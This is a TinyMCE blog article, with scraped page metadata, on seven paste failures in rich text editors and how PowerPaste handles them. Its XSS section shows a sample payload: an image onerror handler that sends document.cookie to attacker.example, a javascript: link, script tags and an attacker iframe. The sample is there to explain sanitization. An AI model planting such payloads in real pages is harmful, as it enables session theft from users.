![\"\"](\"https://images.ctfassets.net/s600jj41gsex/2O7nc6pKYlXgMYz1NoE9EP/d253b03979ffff00086bcb4f1490b7a3/rich-text-paste-problems-in-production-1.webp\")
\nUsers paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes.
","childMarkdownRemark":{"htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}]}],"data":{"quirksMode":false}}}},"heroImage":{"alt":"Rich text editing looks easy article header","artistName":null,"image":{"fluid":{"base64":"data:image/jpeg;base64,UklGRogAAABXRUJQVlA4IHwAAABwBACdASoUAAsAPpE4l0eloyIhMAgAsBIJaACdMoRwACn+kAj2mySVrWTWAAD++VNMv4gmrjNVjsdNePOV0PI4/XoNfXy5lPeybzfZDvJwrR6Ox3PME+8ZplvCKnslVxiadyNEBijQC3kszOSGe/PVpVfSykWhUSYmAAAA","aspectRatio":1.7824074074074074,"src":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=739&q=50&fit=scale","srcSet":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=185&h=104&q=50&fit=scale 185w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=370&h=208&q=50&fit=scale 370w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=739&h=415&q=50&fit=scale 739w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1109&h=622&q=50&fit=scale 1109w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1478&h=829&q=50&fit=scale 1478w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1925&h=1080&q=50&fit=scale 1925w","srcWebp":null,"srcSetWebp":null,"sizes":"(max-width: 739px) 100vw, 739px"}}},"author":{"name":"Hubert Grzesiek","slug":"hubert-grzesiek"},"category":{"title":"Complex paste handling","slug":"complex-paste-handling"},"metaTitle":{"metaTitle":"Rich Text Paste: 7 Things That Break in Production | TinyMCE"},"metaDescription":{"metaDescription":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}}]},"description":{"description":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes.
","childMarkdownRemark":{"htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}]}],"data":{"quirksMode":false}}}},"tags":[{"slug":"tinymce","title":"TinyMCE"},{"slug":"powerpaste","title":"PowerPaste"}],"body":{"body":"One of the most-viewed Stack Overflow questions about handling paste was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them.
\n\n\nProduction paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari.
\nWhen an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is.
\nOne copy action puts several formats on the clipboard at once: typically text/plain and text/html, and often image data or RTF. Your code picks a format in the paste event, usually text/html because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on contenteditable and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived.
Do-it-yourself paste handling gets complicated fast. The top-voted answer on that Stack Overflow question includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived.
\nHandling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:
\nIn TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, removes invalid and proprietary styles, tags, and attributes, and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's content filtering (valid_elements, valid_styles) then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The paste_preprocess and paste_postprocess hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends.
![\"\"](\"https://images.ctfassets.net/s600jj41gsex/6nShARWhUmHru1T6Yyl6sc/81687ce29d71cc95294136cfdf465f76/rich-text-paste-problems-in-production-2.webp\")
To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through PowerPaste on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the PowerPaste demo.
\nWord doesn’t put <ul> or <ol> on the clipboard. It sends paragraphs styled to look like a list, with the bullet typed out as a character. An editor that keeps that markup ends up with a fake list: users can’t indent or renumber it, and screen readers don’t announce it as a list.
Those paragraphs are only half of the clipboard payload. Word sends a complete HTML document, not a fragment: a <head> whose <style> block holds the list definitions (the bullet or number format and indent for each level), and a <body> whose paragraphs only point at those definitions through mso-list. Windows’ HTML clipboard format carries that context around the copied fragment. Neither half makes sense on its own.
Here’s a short two-level bulleted list as Word puts it on the clipboard, cut down to the parts that matter:
\n<head><style>\n@list l0:level1 {mso-level-number-format:bullet; mso-level-text:\\F0B7; text-indent:-.25in;}\n@list l0:level2 {mso-level-number-format:bullet; mso-level-text:o; text-indent:-.25in;}\n</style></head>\n<body>\n<p class=MsoListParagraphCxSpFirst style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n <![if !supportLists]><span style='font-family:Symbol'>·<span style='font:7.0pt \"Times New Roman\"'> </span></span><![endif]>\n Approve the release notes<o:p></o:p></p>\n<p class=MsoListParagraphCxSpMiddle style='margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1'>\n <![if !supportLists]><span style='font-family:\"Courier New\"'>o </span><![endif]>\n Check the changelog links<o:p></o:p></p>\n<p class=MsoListParagraphCxSpLast style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n <![if !supportLists]><span style='font-family:Symbol'>· </span><![endif]>\n Publish<o:p></o:p></p>\n</body>\nThe issues are familiar to anyone who has supported an editor: stray “·” or “o” characters at the start of lines, nested items flattened to a single level, numbered lists restarting at 1 after a sub-list, and one list split into two. Forum threads have described numbered Word paragraphs arriving with literal numbers rather than as list elements since at least 2011.
\nA production paste handler has to read both halves together, match each paragraph’s mso-list level to its list definition, rebuild real nested lists, and drop the bullet-glyph spans. That’s a conversion from Word’s document model to HTML, not a cleanup pass. In our test, the Word payload came back like this:
<ul>\n <li>Approve the release notes\n <ul style=\"list-style-type: circle;\">\n <li>Check the changelog links</li>\n </ul>\n </li>\n <li>Publish</li>\n</ul>\n
And a two-level bulleted list is the easy case. Multi-level numbering with custom indents, a list that continues after an interrupting paragraph, lists inside table cells, numbering that restarts or starts above 1, a line break inside a list item: each is another set of rules a paste handler has to get right.
\nPowerPaste produced that output, and in our tests it handled the harder cases too: the list type followed Word’s list definitions rather than the typed bullet, a list starting at 3 came back as <ol start=\"3\">, numbering continued after an interrupting paragraph while a separate list restarted at 1, and lists inside table cells came through intact.
![\"\"](\"https://images.ctfassets.net/s600jj41gsex/7mG8j51DGumFzdqEzof1Oc/f06153cca10be9f46f50686485d34d04/rich-text-paste-problems-in-production-3.webp\")
\nHeadings break in two ways. Text an author formatted by hand, bold and 14 point, arrives as a paragraph that only looks like a heading, so it never reaches your table of contents or a screen reader’s list of headings. Text that uses Word’s built-in heading styles does arrive as heading elements, which means a pasted Heading 1 can add a second <h1> to a page whose template already has one, or skip a level in your outline.
\nTinyMCE’s Accessibility Checker covers what paste can’t decide for you. It flags paragraphs used as headings, skipped heading levels, and paragraphs that start with bullet characters or numbers instead of using list markup. To stop a pasted Heading 1 from competing with your page title, limit the allowed heading levels with content filtering or demote <h1> to <h2> in a paste_postprocess callback.
Word's clipboard HTML carries far more than content: Mso* classes, mso-* style properties, <o:p> tags, conditional comments, and a font declaration on almost every span. Stored as-is, that markup overrides your product's CSS today and breaks whatever consumes the HTML tomorrow.
A single sentence with one bold phrase looks like this:
\n<p class=MsoNormal><span style='font-size:11.0pt;font-family:\"Calibri\",sans-serif;\nmso-fareast-font-family:Calibri;mso-bidi-font-family:Arial'>Our refund window is\n<b style='mso-bidi-font-weight:normal'>30 days</b>.<o:p></o:p></span></p>\n
The cost shows up later and somewhere else. Inline fonts fight your site and email templates, proprietary tags trip up strict renderers, and nested spans pile up with every edit. Users of one grants platform reported that pasted Word content, full of deeply nested spans and Office-specific styles, was breaking PDF conversions. That's why we treat HTML compliance as most important for content that leaves your editor: emails, PDFs, knowledge base articles, and pages rendered by other systems.
\nThe same markup overrides your design system. Hard-coded fonts and colors ignore your type scale and theme, so \"why does this paragraph look different?\" becomes a recurring ticket, and a dark-blue text color that reads fine on white can become illegible in dark mode or fail contrast requirements. In our test with an Outlook-style email, \"Keep formatting\" kept color: #1F3864 on every line, while \"Remove formatting\" returned plain paragraphs with only the bold claim number intact.
Word content can also carry review history. Comments and tracked changes travel with copied text, and Word attaches the reviewer's user name or initials to them. In a web editor, that can put an internal note or a struck-through draft figure into published content. In our test, PowerPaste removed a Word comment and its anchor. Treat revision markup as a policy decision: if your product should never store it, ask authors to accept or reject changes before copying, or drop <del> elements and unwrap <ins> in a paste_postprocess callback.
PowerPaste is built for this exactly. It automatically cleans up content pasted from Microsoft Word, Microsoft Excel, Google Docs, and HTML sources, so your app stores structured HTML instead of Office markup. On the PowerPaste demo, the same Word document produces 95 lines of HTML without PowerPaste and 59 lines with it, and you can open the source view to compare them yourself. In our test, a 2,433-character Word payload (a heading plus a three-item list) came out of \"Remove formatting\" as about 150 characters of plain, structured HTML.
\nThe product decision is how much of the user's formatting to keep. Add powerpaste to your TinyMCE plugins and set powerpaste_word_import to clean to keep headings, lists, and tables while dropping inline styles, so content picks up your stylesheet. Set it to merge to keep the original formatting minus invalid and proprietary markup, or to prompt to let each user choose. If you keep some formatting, valid_styles limits which CSS properties survive, for example text alignment but not font families or colors, and the Accessibility Checker flags text that fails contrast ratios before it's published.
![\"\"](\"https://images.ctfassets.net/s600jj41gsex/CcOzWyxUsvgXMqLOUcBT2/894a7d7301650ef32f6ee337e3ab9929/-wed-21-rich-text-editor-paste-problems-04-powerpaste-word-list-remove-formatting.gif\")
Excel keeps cell styling in a <style> block and points to it with class names. Editors rarely keep a pasted <style> block, because its rules are global and can restyle your whole page, so the borders, alignment, and number formats disappear with it. Cleanup code that rebuilds tables cell by cell often breaks merged cells too. It's the same pattern as Word lists: the meaning lives in a style block, and the cells only point at it.
A table with a merged header and a merged row label looks like this on the clipboard (simplified):
\n<style>\n.xl65 {mso-number-format:\"\\0022$\\0022\\#\\,\\#\\#0\\.00\"; font-weight:700;}\n.xl66 {text-align:center; border:.5pt solid windowtext;}\n</style>\n<col width=64 span=4 style='width:48pt'>\n<tr height=20 style='height:15.0pt'>\n <td colspan=2 class=xl66 width=128>Q3 revenue</td>\n <td rowspan=2 class=xl66 width=64>Region</td>\n <td class=xl65 width=64>$1,200.00</td>\n</tr>\nLose the style block and you get a borderless grid with no alignment. Lose colspan or rowspan and every cell after the merge shifts, so values land under the wrong headers. Pasted spreadsheet tables also tend to arrive with every cell as a <td>, so screen readers get no header row to announce.
Production handling resolves class-based styles into inline styles (or drops them on purpose), keeps colspan and rowspan intact, and normalizes widths to something your layout can live with. In our test, PowerPaste read that style block: \"Keep formatting\" preserved colspan=\"2\" and rowspan=\"2\" and turned the .xl66 rule into inline borders and centering. \"Remove formatting\" kept the merged cells and widths and dropped the styling. For widths, TinyMCE's table_sizing_mode option enforces percentage-based (relative) or width-free (responsive) sizing for new and modified tables, and the Accessibility Checker flags tables without header cells. For a walkthrough of tables, formulas, and charts, see how to paste content from Word or Excel.
Word on Windows doesn't always put image data in its clipboard HTML. It can reference temporary files on the user's disk instead, and a web page can't read those. Pictures arrive broken or missing unless the editor takes the image data from the clipboard and sends it through your upload process.
\n<img width=320 height=180 alt=\"Q3 revenue chart\"\n src=\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\">\n
When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which has to be converted to PNG before it's usable on the web. In one reported case, pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text.
\nLarge pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's main thread before the editor responds again, and PowerPaste's documentation notes that images larger than about 8.5MB may fail to import. Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description.
\nWith PowerPaste, images embedded in Word and Excel content arrive as Base64 data (powerpaste_allow_local_images is on by default), and TinyMCE can upload them automatically through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, powerpaste_keep_unsupported_src keeps the original path in a data-image-src attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row.
![\"\"](\"https://images.ctfassets.net/s600jj41gsex/1MJeWBcN9hdF1JqkmP4EPK/17a84fc5300e0619b2ed205448940dd7/-thu-08-rich-text-editor-paste-problems-02-source-code-uploaded-image.webp\")
Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is Google Docs wrapping the entire selection in a bold tag:
\n<meta charset=\"utf-8\">\n<b style=\"font-weight:normal;\" id=\"docs-internal-guid-4f1c2a9e-7fff-3b5d-91a2-6c0e8d2f4b17\">\n <p dir=\"ltr\" style=\"line-height:1.38;margin-top:0pt;margin-bottom:0pt;\">\n <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:700;white-space:pre-wrap;\">Refund policy:</span>\n <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:400;white-space:pre-wrap;\"> requests are reviewed within 5 business days.</span>\n </p>\n</b>\n
An editor that keeps the outer <b> makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with font-weight:700 on a span rather than a <strong> element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to paste Markdown into TinyMCE as structured content.
Outlook belongs on the list too. Outlook has used Word's HTML engine since Outlook 2007, so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included.
\nFixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix.
\nProduction handling detects the source first (for example, Word's <meta name=ProgId content=Word.Document> or the docs-internal-guid id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, powerpaste_word_import, powerpaste_googledocs_import, and powerpaste_html_import, so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as <p><strong>Refund policy:</strong> requests are reviewed within 5 business days.</p>. For the full Docs workflow, including tables and images, read Google Docs to HTML.
Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's paste_merge_formats, on by default, collapses redundant formatting such as <b> inside <b>.
The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server.
\n<p>Quarterly update <img src=\"x\" onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">\n<a href=\"javascript:alert(document.domain)\">details</a></p>\n<script>alert(document.cookie)</script>\n<svg onload=\"alert(1)\"><circle r=\"5\"></circle></svg>\n<iframe src=\"https://attacker.example/login\"></iframe>\n<p onclick=\"alert(1)\">Click me</p>\nThis isn't theoretical. In 2020, a security researcher published research on copy-and-paste attacks that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does.
\nWhichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the input sanitization on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed.
\nIn TinyMCE, incoming HTML is parsed with the browser's DOMParser and sanitized with DOMPurify, according to its security documentation. The xss_sanitization option is on by default, SVG isn't supported, and sandbox_iframes adds an empty sandbox attribute to embedded frames. In our tests with an equivalent payload, the onerror and onclick handlers, the javascript: URL, the <script> tag, and the SVG were removed, the iframe was kept with sandbox=\"\", and none of the payloads ran, both with PowerPaste and with TinyMCE's built-in paste. Tiny still recommends filtering content on the server, because attackers can bypass any client-side check, and its security guide lists the CSP directives TinyMCE needs.
![\"\"](\"https://images.ctfassets.net/s600jj41gsex/2itwAOtVHVONfKBI0hWhmC/30d31400090faa6eef0af59cc03b7740/-thu-08-rich-text-editor-paste-problems-03-source-code-unsafe-sample.webp\")
What reaches your code depends on the browser, the clipboard API, the operating system, and even how the document was opened. A fix verified on one machine can fail on the next.
\nThe API alone changes the payload. In the synchronous paste event, clipboardData.getData('text/html') returns unsanitized HTML, as the source app wrote it. Chrome's asynchronous navigator.clipboard.read() sanitizes by default: it strips <script>, <meta>, <head>, and <style> elements and inlines CSS, unless your code asks for unsanitized HTML. The same copy gives two different payloads depending on which path your editor uses. Our earlier post on the Async Clipboard API covers how the newer API differs from event-based paste.
Platform and app quirks add more cases:
\npaste_block_drop to switch drag and drop off when unfiltered content is a risk. , and tabs need converting in plain-text pastes (TinyMCE turns each tab into four spaces by default, set with paste_tab_spaces).No product team can keep up with this on the side. TinyMCE is built to handle browser inconsistencies across current Chrome, Edge, Firefox, and Safari, and documents the paste exceptions it can't control, such as Protected View and Excel for the web, so you don't learn about them from support tickets.
\nIf you're choosing an editor rather than building one, these are the requirements the seven failures add up to. Ask every vendor on your shortlist how their editor meets each one, then check the answers with a test matrix like the one below.
\n| \n Requirement \n | \n\n Why it matters \n | \n\n How TinyMCE handles it \n | \n
|---|---|---|
| \n Rebuilds lists and keeps real headings \n | \n\n Fake lists and headings break numbering and screen readers \n | \n\n PowerPaste rebuilds Word lists as nested | \n
| \n Removes Office markup but keeps structure \n | \n\n Office styles break emails, PDFs, and your design system \n | \n\n
| \n
| \n Keeps table structure, including merged cells \n | \n\n Lost | \n\n PowerPaste keeps table structure and resolves Excel's class-based styles; | \n
| \n Brings pasted images into your storage \n | \n\n Local file paths break, and Base64 blobs bloat your database \n | \n\n Pasted images upload through | \n
| \n Treats each source differently \n | \n\n Word, Google Docs, Outlook, and web HTML each need their own rules \n | \n\n Separate | \n
| \n Sanitizes pasted HTML by default \n | \n\n The clipboard is an XSS vector \n | \n\n
| \n
| \n Lets you vary paste rules by user or field \n | \n\n Authors, admins, and short fields need different behavior \n | \n\n
| \n
| \n Behaves consistently across browsers \n | \n\n Platform quirks otherwise surface as support tickets \n | \n\n Supports current Chrome, Edge, Firefox, and Safari, and documents exceptions such as Protected View and Excel for the web \n | \n
Meeting those requirements in TinyMCE takes a few lines of configuration:
\ntinymce.init({\n selector: '#editor',\n plugins: 'powerpaste lists table image',\n powerpaste_word_import: 'clean', // keep headings, lists, tables; drop Word styling\n powerpaste_googledocs_import: 'clean',\n powerpaste_html_import: 'clean',\n images_upload_url: '/api/editor-images', // pasted images end up in your storage\n table_sizing_mode: 'relative'\n // xss_sanitization is on by default\n});\nThe parsing, list rebuilding, and per-source rules live in the editor, and keeping them current as Word and Google Docs change is Tiny's job rather than your team's.
\nTest pasting across a range of real-world scenarios. Run it against every editor on your shortlist during the proof of concept, starting with the PowerPaste demo, then keep it as a regression suite after you choose: replay saved clipboard payloads automatically in CI and do a real-copy pass from the actual apps before each release.
\n| \n Source \n | \n\n What to copy \n | \n\n What to check \n | \n
|---|---|---|
| \n Word (Windows and Mac) \n | \n\n Nested bulleted and numbered lists, styled and hand-formatted headings, a bold run, an image \n | \n\n Real nested | \n
| \n Word with review history \n | \n\n A paragraph with tracked changes and a comment \n | \n\n No reviewer names, comments, or deleted text in the result \n | \n
| \n Long Word document \n | \n\n 50 pages with screenshots \n | \n\n Editor stays responsive; images uploaded; paste time recorded \n | \n
| \n Images across browsers \n | \n\n The same screenshot, pasted in Safari and in Chrome \n | \n\n Same stored result in both: an uploaded image, no blob or data URL left behind \n | \n
| \n Excel \n | \n\n Table with merged header cells and a currency column \n | \n\n
| \n
| \n Google Docs \n | \n\n Paragraph with partial bold, a link, a small table \n | \n\n No | \n
| \n Outlook \n | \n\n Customer email with a signature and colored text \n | \n\n No hard-coded colors or fonts unless your policy allows them \n | \n
| \n Web page \n | \n\n Article with site styles and an embedded video \n | \n\n No foreign classes, iframe sandboxed \n | \n
| \n AI chat tool \n | \n\n Answer with a list and a code block \n | \n\n Markdown and HTML both convert to the same structure \n | \n
| \n Hostile page \n | \n\n Script, event-handler, and | \n\n No handlers, scripts, or | \n
Run the matrix in Chrome, Edge, Firefox, and Safari, on both Windows and macOS. For automated runs, save each source's text/html as a fixture and replay it through the editor's real paste path:
// Replay a saved clipboard fixture through the editor's paste handling\nasync function replayPaste(editor, html, text = '') {\n const data = new DataTransfer();\n data.setData('text/html', html);\n data.setData('text/plain', text);\n editor.getBody().dispatchEvent(\n new ClipboardEvent('paste', { clipboardData: data, bubbles: true, cancelable: true })\n );\n await new Promise((resolve) => setTimeout(resolve, 500));\n return editor.getContent();\n}\nSet your paste mode explicitly in the test configuration so no formatting prompt blocks the run, and compare the returned HTML against an approved snapshot. Synthetic events don't reproduce operating-system clipboard quirks, so keep the manual pass.
\nTwo more tests can help catch issues you might otherwise miss. Run a roundtrip: paste, save, reload, and compare the structure (lists, headings, merged cells) rather than raw HTML strings, because some damage only appears after storage. Then measure paste in production: log the HTML size before and after cleaning, and tag paste-related support tickets, so you can show whether paste quality improves release by release.
\nPaste handling is never finished. Word, Excel, and Google Docs change their output, browsers change their clipboard APIs, and every regression reaches you as a support ticket. The real decision is who maintains the pipeline.
\nIt's tempting to hand the job to an AI coding assistant. A generated paste handler will strip some tags and pass a demo, but it won't know that Word encodes list levels in mso-list styles, that Google Docs wraps everything in a bold tag, or that Protected View hands you plain text. Edge cases like these are where rich text editing gets expensive, and a general-purpose AI tool doesn't cover them.
HYPE Innovation, which builds innovation management software, learned this the hard way. Customers kept running into formatting problems when they pasted text from Microsoft Word into the rich text editor in HYPE's product, and fixing them consumed developer and support time. Senior software developer Simon Reinhardt summed up the turning point: \"We reached a point where we received another support request and thought, what else can we do? Should we continue investing in this?\" After moving to TinyMCE with PowerPaste, HYPE reports 50% fewer text-editing support tickets and estimates it saves 20 developer days a year.
\nOwning paste means owning every new Word build and every Google Docs change, indefinitely. TinyMCE has spent roughly two decades on these edge cases, and Tiny's self-hosted Enterprise agreement commits to a four-hour response, within service hours, for issues that make effective use of the editor impossible. If you'd rather put numbers on the build option, see our clean copy-paste function cost estimate, which breaks down the engineering effort.
\nPaste failures are predictable. They fall into the seven patterns above and show up in the first week of real use. Each one is solvable; the hard part is that all seven need solving at once, and they keep changing.
\nBefore your next release, try this: copy one nested list, one table with merged cells, and one image from Word, Excel, and Google Docs into your editor, then open the HTML source. Count the problems. Then paste the same content into the PowerPaste demo and compare the source view. The difference tells you whether paste is a feature you want to own.
\n\nTinyMCE has built-in paste handling for general HTML. It includes plain-text paste (paste_as_text), smart paste that turns pasted URLs into links or images, control over pasted data-URI images (paste_data_images), and paste_preprocess and paste_postprocess hooks for your own filtering. Built-in paste also sanitizes: in our test it stripped event handlers, javascript: links, and scripts, and xss_sanitization is on by default. PowerPaste adds the source-specific cleanup for Microsoft Word, Microsoft Excel, and Google Docs, plus the choice to clean or merge styles.
PowerPaste is a premium plugin, so it isn't part of the free core editor. It's included in the Professional and Enterprise plans, and every plan comes with a 14-day trial of all advanced features, so you can run the test matrix against your own documents before you commit. See TinyMCE pricing for current plans.
\nYes. Set paste_as_text: true on the editor instances where formatting shouldn't survive, such as titles or short descriptions, and users can still toggle the Paste as text item in the Edit menu. The trade-off is that lists, links, and tables arrive as plain lines of text, so keep rich paste for fields where structure matters.
Not fully. Because of limitations in Excel for the web (part of Office Live), PowerPaste doesn't support pasting from it, and users get a plain-text version of the content. Copying from Google Sheets may work but isn't officially supported. The documented test targets are Word and Excel versions under Microsoft mainstream support or provided by Office 365, and the latest version of Google Docs.
\nWhen paste fixes keep coming back. The signs are familiar: the same Word or Google Docs bugs return after source-app updates, your team maintains separate cleanup rules for each source, security reviews keep flagging the paste path, or the editor stalls on long documents. At that point paste is an ongoing maintenance cost rather than a one-off fix, and moving to an editor with maintained paste handling is often the cheaper path. HYPE Innovation made that switch and halved its text-editing support tickets.
","childMarkdownRemark":{"html":"One of the most-viewed Stack Overflow questions about handling paste was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them.
\n\n\nProduction paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari.
\nWhen an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is.
\nOne copy action puts several formats on the clipboard at once: typically text/plain and text/html, and often image data or RTF. Your code picks a format in the paste event, usually text/html because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on contenteditable and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived.
Do-it-yourself paste handling gets complicated fast. The top-voted answer on that Stack Overflow question includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived.
\nHandling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:
\nIn TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, removes invalid and proprietary styles, tags, and attributes, and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's content filtering (valid_elements, valid_styles) then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The paste_preprocess and paste_postprocess hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends.
To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through PowerPaste on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the PowerPaste demo.
\nWord doesn’t put <ul> or <ol> on the clipboard. It sends paragraphs styled to look like a list, with the bullet typed out as a character. An editor that keeps that markup ends up with a fake list: users can’t indent or renumber it, and screen readers don’t announce it as a list.
Those paragraphs are only half of the clipboard payload. Word sends a complete HTML document, not a fragment: a <head> whose <style> block holds the list definitions (the bullet or number format and indent for each level), and a <body> whose paragraphs only point at those definitions through mso-list. Windows’ HTML clipboard format carries that context around the copied fragment. Neither half makes sense on its own.
Here’s a short two-level bulleted list as Word puts it on the clipboard, cut down to the parts that matter:
\n<head><style>\n@list l0:level1 {mso-level-number-format:bullet; mso-level-text:\\F0B7; text-indent:-.25in;}\n@list l0:level2 {mso-level-number-format:bullet; mso-level-text:o; text-indent:-.25in;}\n</style></head>\n<body>\n<p class=MsoListParagraphCxSpFirst style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n <![if !supportLists]><span style='font-family:Symbol'>·<span style='font:7.0pt \"Times New Roman\"'> </span></span><![endif]>\n Approve the release notes<o:p></o:p></p>\n<p class=MsoListParagraphCxSpMiddle style='margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1'>\n <![if !supportLists]><span style='font-family:\"Courier New\"'>o </span><![endif]>\n Check the changelog links<o:p></o:p></p>\n<p class=MsoListParagraphCxSpLast style='text-indent:-.25in;mso-list:l0 level1 lfo1'>\n <![if !supportLists]><span style='font-family:Symbol'>· </span><![endif]>\n Publish<o:p></o:p></p>\n</body>\nThe issues are familiar to anyone who has supported an editor: stray “·” or “o” characters at the start of lines, nested items flattened to a single level, numbered lists restarting at 1 after a sub-list, and one list split into two. Forum threads have described numbered Word paragraphs arriving with literal numbers rather than as list elements since at least 2011.
